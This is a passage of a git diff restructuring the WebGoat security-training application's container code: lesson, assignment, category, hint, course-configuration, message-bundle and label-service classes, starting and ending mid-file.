+ */ + +package org.owasp.webgoat.container.i18n; + +import java.io.IOException; +import java.util.Properties; +import org.springframework.context.support.ReloadableResourceBundleMessageSource; +import org.springframework.core.io.support.ResourcePatternResolver; + +/** + * Message resource bundle for plugins. + * + * @author nbaars + * @date 2/4/17 + */ +public class PluginMessages extends ReloadableResourceBundleMessageSource { + private static final String PROPERTIES_SUFFIX = ".properties"; + + private final Language language; + private final ResourcePatternResolver resourcePatternResolver; + + public PluginMessages( + Messages messages, Language language, ResourcePatternResolver resourcePatternResolver) { + this.language = language; + this.setParentMessageSource(messages); + this.setBasename("WebGoatLabels"); + this.resourcePatternResolver = resourcePatternResolver; + } + + @Override + protected PropertiesHolder refreshProperties(String filename, PropertiesHolder propHolder) { + Properties properties = new Properties(); + long lastModified = System.currentTimeMillis(); + + try { + var resources = + resourcePatternResolver.getResources( + "classpath:/lessons/**/i18n" + "/WebGoatLabels" + PROPERTIES_SUFFIX); + for (var resource : resources) { + String sourcePath = resource.getURI().toString().replace(PROPERTIES_SUFFIX, ""); + PropertiesHolder holder = super.refreshProperties(sourcePath, propHolder); + properties.putAll(holder.getProperties()); + } + } catch (IOException e) { + logger.error("Unable to read plugin message", e); + } + + return new PropertiesHolder(properties, lastModified); + } + + public Properties getMessages() { + return getMergedProperties(language.getLocale()).getProperties(); + } + + public String getMessage(String code, Object... args) { + return getMessage(code, args, language.getLocale()); + } + + public String getMessage(String code, String defaultValue, Object... args) { + return super.getMessage(code, args, defaultValue, language.getLocale()); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/lessons/Assignment.java b/src/main/java/org/owasp/webgoat/container/lessons/Assignment.java new file mode 100644 index 000000000..92e8d0e9e --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/lessons/Assignment.java @@ -0,0 +1,72 @@ +package org.owasp.webgoat.container.lessons; + +import java.util.ArrayList; +import java.util.List; +import javax.persistence.*; +import lombok.*; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ * + * @author nbaars + * @version $Id: $Id + * @since November 25, 2016 + */ +@Getter +@EqualsAndHashCode +@Entity +public class Assignment { + + @Id + @GeneratedValue(strategy = GenerationType.AUTO) + private Long id; + + private String name; + private String path; + + @Transient private List hints; + + private Assignment() { + // Hibernate + } + + public Assignment(String name) { + this(name, name, new ArrayList<>()); + } + + public Assignment(String name, String path, List hints) { + if (path.equals("") || path.equals("/") || path.equals("/WebGoat/")) { + throw new IllegalStateException( + "The path of assignment '" + + name + + "' overrides WebGoat endpoints, please choose a path within the scope of the" + + " lesson"); + } + this.name = name; + this.path = path; + this.hints = hints; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/lessons/Category.java b/src/main/java/org/owasp/webgoat/container/lessons/Category.java new file mode 100644 index 000000000..9fd8317da --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/lessons/Category.java @@ -0,0 +1,67 @@ +package org.owasp.webgoat.container.lessons; + +import lombok.Getter; + +/** + * ************************************************************************************************* + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + * @author Bruce Mayhew WebGoat + * @version $Id: $Id + * @since October 28, 2003 + */ +public enum Category { + INTRODUCTION("Introduction", 5), + GENERAL("General", 100), + + A1("(A1) Broken Access Control", 301), + A2("(A2) Cryptographic Failures", 302), + A3("(A3) Injection", 303), + + A5("(A5) Security Misconfiguration", 305), + A6("(A6) Vuln & Outdated Components", 306), + A7("(A7) Identity & Auth Failure", 307), + A8("(A8) Software & Data Integrity", 308), + A9("(A9) Security Logging Failures", 309), + A10("(A10) Server-side Request Forgery", 310), + + CLIENT_SIDE("Client side", 1700), + + CHALLENGE("Challenges", 3000); + + @Getter private String name; + @Getter private Integer ranking; + + Category(String name, Integer ranking) { + this.name = name; + this.ranking = ranking; + } + + @Override + public String toString() { + return getName(); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/lessons/CourseConfiguration.java b/src/main/java/org/owasp/webgoat/container/lessons/CourseConfiguration.java new file mode 100644 index 000000000..c6be7cfad --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/lessons/CourseConfiguration.java @@ -0,0 +1,143 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.container.lessons; + +import static java.util.stream.Collectors.groupingBy; + +import java.lang.reflect.Method; +import java.lang.reflect.ParameterizedType; +import java.util.*; +import lombok.extern.slf4j.Slf4j; +import org.apache.commons.lang3.ArrayUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.Course; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestMapping; + +@Slf4j +@Configuration +public class CourseConfiguration { + + private final List lessons; + private final List assignments; + private final Map> assignmentsByPackage; + + public CourseConfiguration(List lessons, List assignments) { + this.lessons = lessons; + this.assignments = assignments; + assignmentsByPackage = + this.assignments.stream().collect(groupingBy(a -> a.getClass().getPackageName())); + } + + @Bean + public Course course() { + lessons.stream().forEach(l -> l.setAssignments(createAssignment(l))); + return new Course(lessons); + } + + private List createAssignment(Lesson lesson) { + var endpoints = assignmentsByPackage.get(lesson.getClass().getPackageName()); + if (CollectionUtils.isEmpty(endpoints)) { + log.warn("Lesson: {} has no endpoints, is this intentionally?", lesson.getTitle()); + return new ArrayList<>(); + } + return endpoints.stream() + .map( + e -> + new Assignment( + e.getClass().getSimpleName(), getPath(e.getClass()), getHints(e.getClass()))) + .toList(); + } + + private String getPath(Class e) { + for (Method m : e.getMethods()) { + if (methodReturnTypeIsOfTypeAttackResult(m)) { + var mapping = getMapping(m); + if (mapping != null) { + return mapping; + } + } + } + throw new IllegalStateException( + "Assignment endpoint: " + + e + + " has no mapping like @GetMapping/@PostMapping etc,with return type 'AttackResult' or" + + " 'ResponseEntity' please consider adding one"); + } + + private boolean methodReturnTypeIsOfTypeAttackResult(Method m) { + if (m.getReturnType() == AttackResult.class) { + return true; + } + var genericType = m.getGenericReturnType(); + if (genericType instanceof ParameterizedType) { + return ((ParameterizedType) m.getGenericReturnType()).getActualTypeArguments()[0] + == AttackResult.class; + } + return false; + } + + private String getMapping(Method m) { + String[] paths = null; + // Find the path, either it is @GetMapping("/attack") of GetMapping(path = "/attack") both are + // valid, we need to consider both + if (m.getAnnotation(RequestMapping.class) != null) { + paths = + ArrayUtils.addAll( + m.getAnnotation(RequestMapping.class).value(), + m.getAnnotation(RequestMapping.class).path()); + } else if (m.getAnnotation(PostMapping.class) != null) { + paths = + ArrayUtils.addAll( + m.getAnnotation(PostMapping.class).value(), + m.getAnnotation(PostMapping.class).path()); + } else if (m.getAnnotation(GetMapping.class) != null) { + paths = + ArrayUtils.addAll( + m.getAnnotation(GetMapping.class).value(), m.getAnnotation(GetMapping.class).path()); + } else if (m.getAnnotation(PutMapping.class) != null) { + paths = + ArrayUtils.addAll( + m.getAnnotation(PutMapping.class).value(), m.getAnnotation(PutMapping.class).path()); + } + if (paths == null) { + return null; + } else { + return Arrays.stream(paths).filter(path -> !"".equals(path)).findFirst().orElse(""); + } + } + + private List getHints(Class e) { + if (e.isAnnotationPresent(AssignmentHints.class)) { + return List.of(e.getAnnotationsByType(AssignmentHints.class)[0].value()); + } + return Collections.emptyList(); + } +} diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/lessons/Hint.java b/src/main/java/org/owasp/webgoat/container/lessons/Hint.java similarity index 79% rename from webgoat-container/src/main/java/org/owasp/webgoat/lessons/Hint.java rename to src/main/java/org/owasp/webgoat/container/lessons/Hint.java index 2f3363d9b..6a18d8f94 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/lessons/Hint.java +++ b/src/main/java/org/owasp/webgoat/container/lessons/Hint.java @@ -1,46 +1,43 @@ /*************************************************************************************************** - * - * + * + * * This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ - * - * Copyright (c) 2002 - 20014 Bruce Mayhew - * + * + * Copyright (c) 2002 - 2014 Bruce Mayhew + * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. - * + * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. - * + * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. - * + * * Getting Source ============== - * + * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software * projects. - * + * */ -package org.owasp.webgoat.lessons; -import lombok.Getter; -import lombok.Setter; +package org.owasp.webgoat.container.lessons; + +import lombok.Value; /** - *

Hint class.

+ * Hint class. * * @author rlawson * @version $Id: $Id */ -@Getter -@Setter +@Value public class Hint { - private String hint; - private String lesson; - private String assignmentPath; - private int number; + private String hint; + private String assignmentPath; } diff --git a/src/main/java/org/owasp/webgoat/container/lessons/Initializeable.java b/src/main/java/org/owasp/webgoat/container/lessons/Initializeable.java new file mode 100644 index 000000000..2a9726b6f --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/lessons/Initializeable.java @@ -0,0 +1,12 @@ +package org.owasp.webgoat.container.lessons; + +import org.owasp.webgoat.container.users.WebGoatUser; + +/** + * Interface for initialization of a lesson. It is called when a new user is added to WebGoat and + * when a users reset a lesson. Make sure to clean beforehand and then re-initialize the lesson. + */ +public interface Initializeable { + + void initialize(WebGoatUser webGoatUser); +} diff --git a/src/main/java/org/owasp/webgoat/container/lessons/Lesson.java b/src/main/java/org/owasp/webgoat/container/lessons/Lesson.java new file mode 100644 index 000000000..18f031c93 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/lessons/Lesson.java @@ -0,0 +1,124 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.container.lessons; + +import java.util.List; +import lombok.Getter; +import lombok.Setter; + +@Getter +@Setter +public abstract class Lesson { + + private static int count = 1; + private Integer id = null; + private List assignments; + + /** Constructor for the Lesson object */ + protected Lesson() { + id = ++count; + } + + /** + * getName. + * + * @return a {@link java.lang.String} object. + */ + public String getName() { + String className = getClass().getName(); + return className.substring(className.lastIndexOf('.') + 1); + } + + /** + * Gets the category attribute of the Lesson object + * + * @return The category value + */ + public Category getCategory() { + return getDefaultCategory(); + } + + /** + * getDefaultCategory. + * + * @return a {@link org.owasp.webgoat.container.lessons.Category} object. + */ + protected abstract Category getDefaultCategory(); + + /** + * Gets the title attribute of the HelloScreen object + * + * @return The title value + */ + public abstract String getTitle(); + + /** + * Returns the default "path" portion of a lesson's URL. + * + *

+ * + *

Legacy webgoat lesson links are of the form "attack?Screen=Xmenu=Ystage=Z". This method + * returns the path portion of the url, i.e., "attack" in the string above. + * + *

Newer, Spring-Controller-based classes will override this method to return "*.do"-styled + * paths. + * + * @return a {@link java.lang.String} object. + */ + protected String getPath() { + return "#lesson/"; + } + + /** + * Get the link that can be used to request this screen. + * + *

Rendering the link in the browser may result in Javascript sending additional requests to + * perform necessary actions or to obtain data relevant to the lesson or the element of the lesson + * selected by the user. Thanks to using the hash mark "#" and Javascript handling the clicks, the + * user will experience less waiting as the pages do not have to reload entirely. + * + * @return a {@link java.lang.String} object. + */ + public String getLink() { + return String.format("%s%s.lesson", getPath(), getId()); + } + + /** + * Description of the Method + * + * @return Description of the Return Value + */ + public String toString() { + return getTitle(); + } + + public final String getId() { + return this.getClass().getSimpleName(); + } + + public final String getPackage() { + var packageName = this.getClass().getPackageName(); + // package name is the direct package name below lessons (any subpackage will be removed) + return packageName.replaceAll("org.owasp.webgoat.lessons.", "").replaceAll("\\..*", ""); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/lessons/LessonConnectionInvocationHandler.java b/src/main/java/org/owasp/webgoat/container/lessons/LessonConnectionInvocationHandler.java new file mode 100644 index 000000000..3b90c963d --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/lessons/LessonConnectionInvocationHandler.java @@ -0,0 +1,38 @@ +package org.owasp.webgoat.container.lessons; + +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.sql.Connection; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.users.WebGoatUser; +import org.springframework.security.core.context.SecurityContextHolder; + +/** + * Handler which sets the correct schema for the currently bounded user. This way users are not + * seeing each other data and we can reset data for just one particular user. + */ +@Slf4j +public class LessonConnectionInvocationHandler implements InvocationHandler { + + private final Connection targetConnection; + + public LessonConnectionInvocationHandler(Connection targetConnection) { + this.targetConnection = targetConnection; + } + + @Override + public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { + var authentication = SecurityContextHolder.getContext().getAuthentication(); + if (authentication != null && authentication.getPrincipal() instanceof WebGoatUser user) { + try (var statement = targetConnection.createStatement()) { + statement.execute("SET SCHEMA \"" + user.getUsername() + "\""); + } + } + try { + return method.invoke(targetConnection, args); + } catch (InvocationTargetException e) { + throw e.getTargetException(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/container/lessons/LessonInfoModel.java b/src/main/java/org/owasp/webgoat/container/lessons/LessonInfoModel.java new file mode 100644 index 000000000..9a56859ba --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/lessons/LessonInfoModel.java @@ -0,0 +1,20 @@ +package org.owasp.webgoat.container.lessons; + +import lombok.AllArgsConstructor; +import lombok.Getter; + +/** + * LessonInfoModel class. + * + * @author dm + * @version $Id: $Id + */ +@Getter +@AllArgsConstructor +public class LessonInfoModel { + + private String lessonTitle; + private boolean hasSource; + private boolean hasSolution; + private boolean hasPlan; +} diff --git a/src/main/java/org/owasp/webgoat/container/lessons/LessonMenuItem.java b/src/main/java/org/owasp/webgoat/container/lessons/LessonMenuItem.java new file mode 100644 index 000000000..2b956a6b7 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/lessons/LessonMenuItem.java @@ -0,0 +1,162 @@ +/** + * ************************************************************************************************* + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + */ +package org.owasp.webgoat.container.lessons; + +import java.util.ArrayList; +import java.util.List; + +/** + * LessonMenuItem class. + * + * @author rlawson + * @version $Id: $Id + */ +public class LessonMenuItem { + + private String name; + private LessonMenuItemType type; + private List children = new ArrayList<>(); + private boolean complete; + private String link; + private int ranking; + + /** + * Getter for the field name. + * + * @return the name + */ + public String getName() { + return name; + } + + /** + * Setter for the field name. + * + * @param name the name to set + */ + public void setName(String name) { + this.name = name; + } + + /** + * Getter for the field children. + * + * @return the children + */ + public List getChildren() { + return children; + } + + /** + * Setter for the field children. + * + * @param children the children to set + */ + public void setChildren(List children) { + this.children = children; + } + + /** + * Getter for the field type. + * + * @return the type + */ + public LessonMenuItemType getType() { + return type; + } + + /** + * Setter for the field type. + * + * @param type the type to set + */ + public void setType(LessonMenuItemType type) { + this.type = type; + } + + /** + * addChild. + * + * @param child a {@link LessonMenuItem} object. + */ + public void addChild(LessonMenuItem child) { + children.add(child); + } + + @Override + public String toString() { + StringBuilder bldr = new StringBuilder(); + bldr.append("Name: ").append(name).append(" | "); + bldr.append("Type: ").append(type).append(" | "); + return bldr.toString(); + } + + /** + * isComplete. + * + * @return the complete + */ + public boolean isComplete() { + return complete; + } + + /** + * Setter for the field complete. + * + * @param complete the complete to set + */ + public void setComplete(boolean complete) { + this.complete = complete; + } + + /** + * Getter for the field link. + * + * @return the link + */ + public String getLink() { + return link; + } + + /** + * Setter for the field link. + * + * @param link the link to set + */ + public void setLink(String link) { + this.link = link; + } + + public void setRanking(int ranking) { + this.ranking = ranking; + } + + public int getRanking() { + return this.ranking; + } +} diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/lessons/LessonMenuItemType.java b/src/main/java/org/owasp/webgoat/container/lessons/LessonMenuItemType.java similarity index 86% rename from webgoat-container/src/main/java/org/owasp/webgoat/lessons/LessonMenuItemType.java rename to src/main/java/org/owasp/webgoat/container/lessons/LessonMenuItemType.java index 0d7aad4d9..0ce6b660a 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/lessons/LessonMenuItemType.java +++ b/src/main/java/org/owasp/webgoat/container/lessons/LessonMenuItemType.java @@ -1,40 +1,40 @@ /*************************************************************************************************** - * - * + * + * * This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ - * - * Copyright (c) 2002 - 20014 Bruce Mayhew - * + * + * Copyright (c) 2002 - 2014 Bruce Mayhew + * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. - * + * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. - * + * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. - * + * * Getting Source ============== - * + * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software * projects. - * + * */ -package org.owasp.webgoat.lessons; +package org.owasp.webgoat.container.lessons; /** - *

LessonMenuItemType class.

+ * LessonMenuItemType class. * * @author rlawson * @version $Id: $Id */ public enum LessonMenuItemType { - CATEGORY, - LESSON, - STAGE + CATEGORY, + LESSON, + STAGE } diff --git a/src/main/java/org/owasp/webgoat/container/lessons/LessonScanner.java b/src/main/java/org/owasp/webgoat/container/lessons/LessonScanner.java new file mode 100644 index 000000000..e21baef30 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/lessons/LessonScanner.java @@ -0,0 +1,42 @@ +package org.owasp.webgoat.container.lessons; + +import java.io.IOException; +import java.util.HashSet; +import java.util.List; +import java.util.Set; +import java.util.regex.Pattern; +import lombok.Getter; +import lombok.extern.slf4j.Slf4j; +import org.springframework.core.io.support.ResourcePatternResolver; +import org.springframework.stereotype.Component; + +@Component +@Slf4j +public class LessonScanner { + + private static final Pattern lessonPattern = Pattern.compile("^.*/lessons/([^/]*)/.*$"); + + @Getter private final Set lessons = new HashSet<>(); + + public LessonScanner(ResourcePatternResolver resourcePatternResolver) { + try { + var resources = resourcePatternResolver.getResources("classpath:/lessons/*/*"); + for (var resource : resources) { + // WG can run as a fat jar or as directly from file system we need to support both so use + // the URL + var url = resource.getURL(); + var matcher = lessonPattern.matcher(url.toString()); + if (matcher.matches()) { + lessons.add(matcher.group(1)); + } + } + log.debug("Found {} lessons", lessons.size()); + } catch (IOException e) { + log.warn("No lessons found..."); + } + } + + public List applyPattern(String pattern) { + return lessons.stream().map(lesson -> String.format(pattern, lesson)).toList(); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/service/EnvironmentService.java b/src/main/java/org/owasp/webgoat/container/service/EnvironmentService.java new file mode 100644 index 000000000..6393de391 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/service/EnvironmentService.java @@ -0,0 +1,18 @@ +package org.owasp.webgoat.container.service; + +import lombok.RequiredArgsConstructor; +import org.springframework.context.ApplicationContext; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RestController; + +@RestController("/environment") +@RequiredArgsConstructor +public class EnvironmentService { + + private final ApplicationContext context; + + @GetMapping("/server-directory") + public String homeDirectory() { + return context.getEnvironment().getProperty("webgoat.server.directory"); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/service/HintService.java b/src/main/java/org/owasp/webgoat/container/service/HintService.java new file mode 100644 index 000000000..d9ee5be25 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/service/HintService.java @@ -0,0 +1,57 @@ +/* + * To change this license header, choose License Headers in Project Properties. + * To change this template file, choose Tools | Templates + * and open the template in the editor. + */ + +package org.owasp.webgoat.container.service; + +import java.util.Collection; +import java.util.List; +import org.owasp.webgoat.container.lessons.Assignment; +import org.owasp.webgoat.container.lessons.Hint; +import org.owasp.webgoat.container.lessons.Lesson; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * HintService class. + * + * @author rlawson + * @version $Id: $Id + */ +@RestController +public class HintService { + + public static final String URL_HINTS_MVC = "/service/hint.mvc"; + private final WebSession webSession; + + public HintService(WebSession webSession) { + this.webSession = webSession; + } + + /** + * Returns hints for current lesson + * + * @return a {@link java.util.List} object. + */ + @GetMapping(path = URL_HINTS_MVC, produces = "application/json") + @ResponseBody + public List getHints() { + Lesson l = webSession.getCurrentLesson(); + return createAssignmentHints(l); + } + + private List createAssignmentHints(Lesson l) { + if (l != null) { + return l.getAssignments().stream().map(this::createHint).flatMap(Collection::stream).toList(); + } + return List.of(); + } + + private List createHint(Assignment a) { + return a.getHints().stream().map(h -> new Hint(h, a.getPath())).toList(); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/service/LabelDebugService.java b/src/main/java/org/owasp/webgoat/container/service/LabelDebugService.java new file mode 100644 index 000000000..c91aeb1ae --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/service/LabelDebugService.java @@ -0,0 +1,96 @@ +/** + * ************************************************************************************************* + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + */ +package org.owasp.webgoat.container.service; + +import java.util.Map; +import lombok.AllArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.session.LabelDebugger; +import org.springframework.http.HttpStatus; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; + +/** + * LabelDebugService class. + * + * @author nbaars + * @version $Id: $Id + */ +@Controller +@Slf4j +@AllArgsConstructor +public class LabelDebugService { + + private static final String URL_DEBUG_LABELS_MVC = "/service/debug/labels.mvc"; + private static final String KEY_ENABLED = "enabled"; + private static final String KEY_SUCCESS = "success"; + + private LabelDebugger labelDebugger; + + /** + * Checks if debugging of labels is enabled or disabled + * + * @return a {@link org.springframework.http.ResponseEntity} object. + */ + @RequestMapping(path = URL_DEBUG_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE) + public @ResponseBody ResponseEntity> checkDebuggingStatus() { + log.debug("Checking label debugging, it is {}", labelDebugger.isEnabled()); + Map result = createResponse(labelDebugger.isEnabled()); + return new ResponseEntity<>(result, HttpStatus.OK); + } + + /** + * Sets the enabled flag on the label debugger to the given parameter + * + * @param enabled {@link org.owasp.webgoat.container.session.LabelDebugger} object + * @return a {@link org.springframework.http.ResponseEntity} object. + */ + @RequestMapping( + value = URL_DEBUG_LABELS_MVC, + produces = MediaType.APPLICATION_JSON_VALUE, + params = KEY_ENABLED) + public @ResponseBody ResponseEntity> setDebuggingStatus( + @RequestParam("enabled") Boolean enabled) { + log.debug("Setting label debugging to {} ", labelDebugger.isEnabled()); + Map result = createResponse(enabled); + labelDebugger.setEnabled(enabled); + return new ResponseEntity<>(result, HttpStatus.OK); + } + + /** + * @param enabled {@link org.owasp.webgoat.container.session.LabelDebugger} object + * @return a {@link java.util.Map} object. + */ + private Map createResponse(Boolean enabled) { + return Map.of(KEY_SUCCESS, Boolean.TRUE, KEY_ENABLED, enabled); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/service/LabelService.java b/src/main/java/org/owasp/webgoat/container/service/LabelService.java new file mode 100644 index 000000000..1a8f96720 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/service/LabelService.java @@ -0,0 +1,67 @@ +/** + * ************************************************************************************************* + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

